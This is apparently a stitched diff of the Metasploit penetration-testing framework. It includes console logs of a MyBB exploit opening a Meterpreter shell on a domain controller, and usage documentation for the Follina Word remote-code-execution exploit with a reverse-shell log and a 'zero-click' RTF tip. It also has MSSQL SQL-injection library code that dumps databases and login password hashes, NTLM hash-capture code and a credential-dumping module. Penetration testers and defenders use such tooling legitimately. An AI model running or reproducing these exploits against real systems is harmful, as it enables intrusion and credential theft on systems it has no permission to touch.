[+] MyBB forum found running at /
[!] The service is running, but could not be validated.
[*] Attempting login
[+] Login successful!
[*] Adding a malicious settings
[*] Generated command stager: ["echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAA...
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
...
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
[*] Adding a crafted configuration setting entry with the payload
[+] Payload successfully sent
[*] Triggering the payload execution
[*] Sending stage (175174 bytes) to 192.168.1.215
[*] Removing the configuration setting
[*] Grab the delete parameters
[*] Send the delete request
[*] Shell incoming...
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Meterpreter session 7 opened (192.168.1.44:4444 -> 192.168.1.215:64264) at 2022-05-23 15:45:07 +0200
meterpreter > sysinfo
Computer : DC02
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MYLAB
Logged On Users : 8
Meterpreter : x86/windows
```
@@ -0,0 +1,98 @@
There exists a vulnerability in Microsoft Word that leverages the remote template feature to achieveremote code execution against the target.
The vulnerability came to light after an independent cybersecurity research team known as `nao_sec` uncovered a Word document ([05-2022-0438.doc](https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/)) that was uploaded to VirusTotal from an IP address in Belarus.
The document uses the remote template feature to fetch an `HTML` document and then uses the `ms-msdt` scheme to execute `PowerShell` code.
## Vulnerable Application
The vulnerability has been proved in Office 2013, 2016, 2019, 2021, Office ProPlus and Office 365. It also applies to Windows itself, e.g. it can be called from `.lnk` files and with `wget` into `PowerShell`.
The vulnerability appears exploitable using `.RTF` files on all versions of Office 365, including current channel.
However, with Insider and Current builds of Office, it doesn't seem to work.
### Make your lab
You need official version of Microsoft Office installed. And stay unpatched for this.
Tested on Microsoft Windows 10 1909 w/ Microsoft Office Word 2016.
## Verification Steps
1. Start `msfconsole`
2. `use exploit/windows/fileformat/word_msdtjs_rce`
3. `set SRVHOST [IP]`
4. `set LHOST [IP]`
5. `run`
## Options
**CUSTOMTEMPLATE**
A DOCX file that will be used as a template to build the exploit.
**OBFUSCATE**
Obfuscate JavaScript content. Default: true
## Scenarios
### Basic use
1. Generate the exploit as following.
```
[*] Started reverse TCP handler on 172.20.32.36:4444
[*] Using URL: http://172.20.32.36:8080/1GWqOqp7e1
[*] Server started.
[*] Generate a malicious docx file
[*] Using template '/tmp/payload.docx'
[*] Parsing item from template: docProps/
[*] Parsing item from template: docProps/core.xml
[*] Parsing item from template: docProps/app.xml
[*] Parsing item from template: word/
[*] Parsing item from template: word/theme/
[*] Parsing item from template: word/theme/theme1.xml
[*] Parsing item from template: word/styles.xml
[*] Parsing item from template: word/settings.xml
[*] Parsing item from template: word/document.xml
[*] Parsing item from template: word/_rels/
[*] Parsing item from template: word/_rels/document.xml.rels
[*] Parsing item from template: word/fontTable.xml
[*] Parsing item from template: word/webSettings.xml
[*] Parsing item from template: _rels/
[*] Parsing item from template: _rels/.rels
[*] Parsing item from template: [Content_Types].xml
[*] Injecting payload in docx document
[*] Finalizing docx 'msf.docx'
[+] msf.docx stored at /home/[REDACTED]/.msf4/local/msf.docx
[*] Powershell command length: 3724
```
2. Open the DOCX document on a remote vulnerable system.
```
[*] 172.20.32.36 word_msdtjs_rce - Sending HTML Payload
[*] 172.20.32.36 word_msdtjs_rce - Obfuscate JavaScript content
[*] 172.20.32.36 word_msdtjs_rce - Sending HTML Payload
[*] 172.20.32.36 word_msdtjs_rce - Obfuscate JavaScript content
[*] 172.20.32.36 word_msdtjs_rce - Sending HTML Payload
[*] 172.20.32.36 word_msdtjs_rce - Obfuscate JavaScript content
[*] 172.20.32.36 word_msdtjs_rce - Sending PowerShell Payload
[*] Sending stage (200262 bytes) to 172.20.32.36
[*] Meterpreter session 1 opened (172.20.32.36:4444 -> 172.20.32.36:42674 ) at 2022-05-30 19:32:37 +0400
```
### The 0-Click tip
You can get the 0-click by converting, manually, the `.docx` file generated by the module into a `.rtf` file format.
## References
1. <https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/>
2. <https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19>
3. <https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/>
4. <https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>
5. <https://twitter.com/GossiTheDog/status/1531608245009367040>
6. <https://github.com/JMousqueton/PoC-CVE-2022-30190>
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.0"
VERSION = "6.2.2"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+46
View File
@@ -0,0 +1,46 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides methods for working with NFS
#
###
module Auxiliary::Nfs
include Auxiliary::Scanner
def initialize(info = {})
super
register_options(
[
OptAddressLocal.new('LHOST', [false, 'IP to match shares against', Rex::Socket.source_address]),
OptString.new('HOSTNAME', [false, 'Hostname to match shares against', ''])
]
)
end
def can_mount?(locations, mountable = true, hostname = '', lhost = '')
# attempts to validate if we'll be able to open it or not based on:
# 1. its a wildcard, thus we can open it
# 2. hostname isn't blank and its in the list
# 3. our IP is explicitly listed
# 4. theres a CIDR notation that we're included in.
return true unless mountable
return true if locations.include? '*'
return true if !hostname.blank? && locations.include?(hostname)
return true if !lhost.empty? && locations.include?(lhost)
locations.each do |location|
# if it has a subnet mask, convert it to cidr
if %r{(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})} =~ location
location = "#{Regexp.last_match(1)}#{Rex::Socket.addr_atoc(Regexp.last_match(2))}"
end
return true if Rex::Socket::RangeWalker.new(location).include?(lhost)
# at this point we assume its a hostname, so we use Ruby's File fnmatch so that it proceses the wildcards
# as its a quick and easy way to use glob matching for wildcards and get a boolean response
return true if File.fnmatch(location, hostname)
end
false
end
end
end
+8 -6
View File
@@ -252,12 +252,14 @@ module Exploit::Remote::Ipv6
# which is from DDniele Belluci
def ipv6_soll_mcast_addr6(addr)
h = addr.split(':')[-2, 2]
m = []
m << 'ff'
m << (h[0].to_i(16) & 0xff).to_s(16)
m << ((h[1].to_i(16) & (0xff << 8)) >> 8).to_s(16)
m << (h[1].to_i(16) & 0xff).to_s(16)
'ff02::1:' + [m[0,2].join, m[2,2].join].join(':')
m = []
x = h[0]
x[0..1] = 'ff'
m << x
x = h[1]
x.sub!(/^0*/, "")
m << x
'ff02::1:' + m.join(':')
end
# From Jon Hart's Racket::L3::Misc#soll_mcast_mac()
@@ -38,30 +38,24 @@ module Msf::Exploit::Remote::SMB::Server::HashCapture
combined_hash = "#{user}::#{domain}"
case ntlm_message.ntlm_version
when :ntlmv1
when :ntlmv1, :ntlm2_session
hash_type = 'NTLMv1-SSP'
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
jtr_format = JTR_NTLMV1
when :ntlmv2
hash_type = 'NTLMv2-SSP'
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
combined_hash << ":#{bin_to_hex(challenge)}"
combined_hash << ":#{client_hash}"
jtr_format = JTR_NTLMV2
end
return if hash_type.nil?
# TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
# client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
print_line "[SMB] #{hash_type} Client : #{address}"
# print_line "[SMB] #{hash_type} Client OS : #{client_os_version}"
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
print_line
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
if active_db?
@@ -103,9 +97,30 @@ module Msf::Exploit::Remote::SMB::Server::HashCapture
# found_host.os_name = credential_options[:client_os_version]
# found_host.save!
search_options = {
realm: credential_options[:realm_value],
user: credential_options[:username],
hosts: credential_options[:address],
jtr_format: credential_options[:jtr_format],
type: Metasploit::Credential::NonreplayableHash,
workspace: framework.db.workspace
}
if framework.db.creds(search_options).count > 0
vprint_status("Skipping previously captured hash for #{credential_options[:realm_value]}\\#{credential_options[:username]}")
return
end
create_credential(credential_options)
end
# TODO: write method for mapping +major+ and +minor+ OS values to human-readable OS names.
# client_os_version = ::NTLM::OSVersion.read(type1_msg.os_version)
print_line "[SMB] #{hash_type} Client : #{address}"
# print_line "[SMB] #{hash_type} Client OS : #{client_os_version}"
print_line "[SMB] #{hash_type} Username : #{domain}\\#{user}"
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
print_line
if datastore['JOHNPWFILE']
path = build_jtr_file_name(jtr_format)
+2
View File
@@ -0,0 +1,2 @@
module Msf::Exploit::SQLi::Mssqli
end
@@ -0,0 +1,16 @@
#
# Boolean-Based Blind SQL injection support for MySQL
#
class Msf::Exploit::SQLi::Mssqli::BooleanBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
# the values returned by the bloc for some boolean queries are correct.
#
def test_vulnerable
out_true = blind_request('1=1')
out_false = blind_request('1=2')
out_true && !out_false
end
end
+296
View File
@@ -0,0 +1,296 @@
# coding: ascii-8bit
require 'base64'
#
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
# needed when performing SQL injection.
# Instantiate it only if you get the query results of your SQL injection returned on the response.
#
module Msf::Exploit::SQLi::Mssqli
class Common < Msf::Exploit::SQLi::Common
#
# Encoders supported by Microsoft SQL Server
# Keys are MSSQL function names, values are decoding procs in Ruby
#
ENCODERS = {
hex: {
encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
}
}.freeze
#
# See SQLi::Common#initialize
#
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
opts[:concat_separator] ||= ','
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
# if it's a String or a Symbol, use a predefined encoder if it exists
opts[:encoder] = opts[:encoder].downcase.intern
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
end
super
end
#
# Query the Microsoft SQL Server version
# @return [String] The Microsoft SQL Server version in use
#
def version
call_function('@@VERSION')
end
#
# Query the current database name
# @return [String] The name of the current database
#
def current_database
call_function('DB_NAME()')
end
#
# Query the hostname
# @return [String] The hostname of the server running Microsoft SQL Server
#
def hostname
call_function('@@SERVERNAME')
end
# Query the current user
# @return [String] The username of the current user
#
def current_user
call_function('user_name()')
end
#
# Query the names of all the existing databases
# @return [Array] An array of Strings, the database names
#
def enum_database_names
dump_table_fields('master..sysdatabases', %w[name]).flatten
end
#
# Query the names of the tables in a given database
# @param database [String] the name of a database, or nil or an empty string for the current database
# @return [Array] An array of Strings, the table names in the given database
#
def enum_table_names(database = '')
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
end
def enum_view_names(database = '')
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
end
#
# Query the mssql users (their username and password), this might require root privileges.
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
#
def enum_dbms_users
# might require root privileges
dump_table_fields('master..syslogins', %w[name password])
end
#
# Query the column names of the given table in the given database
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
#
def enum_table_columns(table_name)
table_schema_condition = ''
if table_name.include?('.')
database, table_name = table_name.split(/\.{1,2}/)
database += '..'
else
database = ''
end
dump_table_fields("#{database}syscolumns", %w[name],
"id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
end
#
# Query the given columns of the records of the given table, that satisfy an optional condition
# @param table [String] The name of the table to query
# @param columns [Array] The names of the columns to query
# @param condition [String] An optional condition, return only the rows satisfying it
# @param num_limit [Integer] An optional maximum number of results to return
# @return [Array] An array, where each element is an array of strings representing a row of the results
#
def dump_table_fields(table, columns, condition = '', num_limit = 0)
return '' if columns.empty?
columns = columns.map do |col|
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
end.join("+'#{@second_concat_separator}'+")
unless condition.empty?
condition = ' where ' + condition
end
num_limit = num_limit.to_i
limit = num_limit > 0 ? " top #{num_limit}" : ''
retrieved_data = nil
identifier_generator = Rex::RandomIdentifier::Generator.new
if @safe
# no group_concat, leak one row at a time
count_item = 'cast(count(1) as varchar(max))'
count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
row_count = run_sql("select #{count_item} from #{table}#{condition}")
row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
num_limit = row_count if num_limit == 0 || row_count < num_limit
# generate a random alias for every column name
item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
retrieved_data = num_limit.times.map do |current_row|
if @truncation_length
truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
else
run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
end
end
elsif num_limit > 0
# if limit > 0, an alias will be necessary
alias1, alias2 = 2.times.map { identifier_generator.generate }
if @truncation_length
retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
"^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
"#{condition}) #{alias2}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
" from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
end
elsif @truncation_length
retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
else
retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
" from #{table}#{condition}").split(@concat_separator || ',')
end
retrieved_data.map do |row|
row = row.split(@second_concat_separator)
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
end
end
#
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
# queries that should return known results return the results we expect from them
#
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
query_string = "'#{random_string}'"
query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
output = run_sql("select #{query_string}")
return false if output.nil?
(@encoder ? @encoder[:decode].call(output) : output) == random_string
end
#
# Attempt writing data to the file at the given path
#
def write_to_file(fpath, data)
run_sql("select '#{data}' into dumpfile '#{fpath}'")
end
private
#
# Helper method used in cases where the response is truncated.
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
# @return [String] The query result
#
def truncated_query(query)
result = [ ]
offset = 1
loop do
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
offset += @truncation_length # should be same as @truncation_length for most cases
result << slice
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
break if slice.length < @truncation_length
end
result.join
end
#
# Checks the options specific to Microsoft SQL Server (if any)
#
def check_opts(opts)
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
raise ArgumentError, 'Unsupported encoder'
end
super
end
def call_function(function)
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
output = nil
if @truncation_length
output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})")
else
output = run_sql("select #{function}")
end
output = @encoder[:decode].call(output) if @encoder
output
end
def blind_detect_length(query, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = 'if(' + if_function
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
end
i = 0
output_length = 0
loop do
output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}")
output_length |= (1 << i) unless output_bit
i += 1
stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}")
break if stop
end
output_length
end
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = 'if(' + if_function
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
end
output = length.times.map do |j|
current_character = known_bits
bits_to_guess.times do |k|
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
current_character |= (1 << k) unless output_bit
end
current_character.chr
end.join
output
end
#
# Encodes strings in the query string as hexadecimal numbers
#
def hex_encode_strings(query)
# for more encoding capabilities, run code at the beginning of your block
query.gsub(/'.*?'|".*?"/) do |match|
str = match[1..-2]
if str.empty?
"left(char(#{rand(0..255)}),0)"
else
str.each_codepoint.map { |code| "char(#{code})" }.join('+')
end
end
end
end
end
@@ -0,0 +1,17 @@
#
# Time-Based Blind SQL injection support for MySQL
#
class Msf::Exploit::SQLi::Mssqli::TimeBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
#
# This method checks if the target is vulnerable to Blind time-based injection by checking if
# the target sleeps only when a given condition is true.
#
def test_vulnerable
# run_sql and check if output is what's expected, or just check for delays?
out_true = blind_request("if(1=1) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
out_false = blind_request("if(1=2) waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'")
out_true && !out_false
end
end
+5 -1
View File
@@ -197,7 +197,11 @@ module Msf::Exploit::SQLi::MySQLi
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
run_sql("select '#{random_string}'") == random_string
query_string = "'#{random_string}'"
query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
output = run_sql("select #{query_string}")
return false if output.nil?
(@encoder ? @encoder[:decode].call(output) : output) == random_string
end
#
@@ -189,7 +189,11 @@ module Msf::Exploit::SQLi::PostgreSQLi
def test_vulnerable
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
run_sql("select '#{random_string}'") == random_string
query_string = "'#{random_string}'"
query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
output = run_sql("select #{query_string}")
return false if output.nil?
(@encoder ? @encoder[:decode].call(output) : output) == random_string
end
#
@@ -146,6 +146,7 @@ module Msf::Exploit::SQLi::SQLitei
query_string = "'#{random_string}'"
query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
output = run_sql("select #{query_string}")
return false if output.nil?
(@encoder ? @encoder[:decode].call(output) : output) == random_string
end
+1
View File
@@ -85,6 +85,7 @@ class Pivot
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
c.include(::Msf::Sessions::MeterpreterOptions)
# TODO: add more platforms
case opts[:platform]
+1
View File
@@ -110,6 +110,7 @@ class Console
self.client.kill
rescue ::Exception => e
log_error("Error running command #{method}: #{e.class} #{e}")
elog(e)
end
end
@@ -1337,13 +1337,14 @@ class Console::CommandDispatcher::Core
if (client.core.use(modulenameprovided) == true)
add_extension_client(md)
if md == 'stdapi' && !client.exploit_datastore['AutoLoadStdapi'] && client.exploit_datastore['AutoSystemInfo']
if md == 'stdapi' && (client.exploit_datastore && !client.exploit_datastore['AutoLoadStdapi'] && client.exploit_datastore['AutoSystemInfo'])
client.load_session_info
end
end
rescue => ex
print_line
log_error("Failed to load extension: #{ex.message}")
elog(ex)
if ex.kind_of?(ExtensionLoadError) && ex.name
# MetasploitPayloads and MetasploitPayloads::Mettle do things completely differently, build an array of
# suggestion keys (binary_suffixes and Mettle build-tuples)
+17
View File
@@ -4,6 +4,22 @@ require 'rex/socket'
# Monkeypatch upstream library, for now
# TODO: write a real LDAP client in Rex and migrate all consumers
class Net::LDAP::Connection # :nodoc:
module SynchronousRead
def read(length = nil, opts = {})
data = ''
loop do
chunk = super(length - data.length)
if chunk.nil?
return data == '' ? nil : data
end
data << chunk
break if data.length == length
end
data
end
end
def initialize(server)
begin
@@ -12,6 +28,7 @@ class Net::LDAP::Connection # :nodoc:
'PeerPort' => server[:port],
'Proxies' => server[:proxies]
)
@conn.extend(SynchronousRead)
rescue SocketError
raise Net::LDAP::LdapError, 'No such address or other socket error.'
rescue Errno::ECONNREFUSED
+2 -1
View File
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.87'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.93'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18'
# Needed by msfgui and other rpc components
@@ -224,6 +224,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'eventmachine'
spec.add_runtime_dependency 'faraday'
spec.add_runtime_dependency 'faraday-retry'
# Required for windows terminal colors as of Ruby 3.0
spec.add_runtime_dependency 'win32api'
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::SQLi
def initialize(info = {})
super(
@@ -75,13 +76,8 @@ class MetasploitModule < Msf::Auxiliary
Rex::Text.rand_text_alpha(len)
end
def char_list(string)
('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s
end
def error_info(body)
/BQEShowModalAlert\('Information','(?<error>[^']+)/ =~ body
error
body[/BQEShowModalAlert\('Information','([^']+)/, 1]
end
def inject(content, state, generator, validation)
@@ -127,9 +123,6 @@ class MetasploitModule < Msf::Auxiliary
header = rand_chars
footer = rand_chars
header_char = char_list(header)
footer_char = char_list(footer)
int = Rex::Text.rand_text_numeric(4)
service = {
address: rhost,
@@ -140,24 +133,25 @@ class MetasploitModule < Msf::Auxiliary
}
report_service(service)
# all inject strings taken from sqlmap runs, using error page method
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation)
/, table \\u0027(?<table>.+?)\\u0027/ =~ error_info(res)
print_good("Current Database: #{table.split('.').first}")
report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first)
sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|
int = Rex::Text.rand_text_numeric(4)
res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)
err_info = error_info(res)
print_error('Unexpected output from the server') if err_info.nil?
err_info[/\\u0027(.+?)\\u0027/m, 1]
end
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<banner>.+?)\\u0027/ =~ error_info(res)
banner.slice!(header)
banner.slice!(footer)
banner = banner.gsub('\n', "\n").gsub('\t', "\t")
# all inject strings taken from sqlmap runs, using error page method
database = sqli.current_database
print_good("Current Database: #{database}")
report_note(host: rhost, port: rport, type: 'database', data: database)
banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t")
print_good("Banner: #{banner}")
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<user>.+?)\\u0027/ =~ error_info(res)
user.slice!(header)
user.slice!(footer)
user = sqli.current_user
print_good("DB User: #{user}")
credential_data = {
origin_type: :service,
module_fullname: fullname,
@@ -167,25 +161,15 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service)
create_credential(credential_data)
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<hostname>.+?)\\u0027/ =~ error_info(res)
hostname.slice!(header)
hostname.slice!(footer)
hostname = sqli.hostname
print_good("Hostname: #{hostname}")
report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS)
report_host(host: rhost, name: hostname, info: banner, os_name: OperatingSystems::WINDOWS)
sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable"
# get user count from SecurityTable
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<user_count>.+?)\\u0027/ =~ error_info(res)
user_count.slice!(header)
user_count.slice!(footer)
print_good("User Count in #{sec_table}: #{user_count}")
sec_table = sqli.dump_table_fields("#{database}.dbo.SecurityTable", %w[EmployeeID Settings], 'ModuleID=0')
table = Rex::Text::Table.new(
'Header' => sec_table,
'Header' => "#{database}.dbo.SecurityTable",
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
@@ -195,22 +179,7 @@ class MetasploitModule < Msf::Auxiliary
]
)
(1..user_count.to_i).each do |index|
# username
# select EmployeeID from test.dbo.SecurityTable where ModuleID=0
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<username>.+?)\\u0027/ =~ error_info(res)
username.slice!(header)
username.slice!(footer)
print_good("Username: #{username}")
# settings
# select Settings from test.dbo.SecurityTable where ModuleID=0
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<settings>.+?)\\u0027/ =~ error_info(res)
settings.slice!(header)
settings.slice!(footer)
print_good("User #{username} settings: #{settings}")
sec_table.each do |(username, settings)|
table << [username, settings]
credential_data = {
origin_type: :service,
+13 -1
View File
@@ -38,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary
OptPath.new('PRIVKEY', [false, 'Sign the cert with your own CA private key', nil]),
OptString.new('PRIVKEY_PASSWORD', [false, 'Password for private key specified in PRIV_KEY (if applicable)', nil]),
OptPath.new('CA_CERT', [false, 'CA Public certificate', nil]),
OptString.new('ADD_CN', [false, 'Add CN to match spoofed site name (e.g. *.example.com)', nil])
OptString.new('ADD_CN', [false, 'Add CN to match spoofed site name (e.g. *.example.com)', nil]),
OptString.new('ADD_SAN', [false, 'Add SAN entries to certificate (e.g. alt.example.com,127.0.0.1)', nil])
]
)
@@ -180,6 +181,17 @@ class MetasploitModule < Msf::Auxiliary
